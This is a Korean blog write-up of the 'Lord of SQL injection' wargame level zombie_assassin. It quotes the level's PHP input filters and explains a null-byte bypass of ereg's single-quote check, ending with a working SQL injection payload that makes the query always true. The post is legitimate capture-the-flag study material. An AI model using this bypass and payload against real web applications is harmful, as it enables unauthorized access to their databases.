본문 바로가기

WarGame/Web

[Lord of SQL injection] zombie_assassin


소스코드 분석

if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 

if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

if(@ereg("'",$_GET[id])) exit("HeHe"); 

if(@ereg("'",$_GET[pw])) exit("HeHe"); 

싱글쿼터를 우회만 하면되는데 그렇다할 방법을 못찾았다.

그래서 ereg 함수의 취약점을 이용하자. ereg의 취약점은 Null값을 주면 필터링이 정상적으로 되지 않는다.

(PHP 5.3 이상) ereg 대신 preg_match함수 사용을 권장

그리고 id 값을 참으로만 만들면 문제가 풀린다.

 

?id=%00%27||1%20%23

id=%00'||1 %23



'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] nightmare  (0) 2017.05.28
[Lord of SQL injection] succubus  (0) 2017.05.28
[Lord of SQL injection] assassin  (0) 2017.05.28
[Lord of SQL injection] giant  (0) 2017.05.28
[Lord of SQL injection] bugbear  (0) 2017.05.28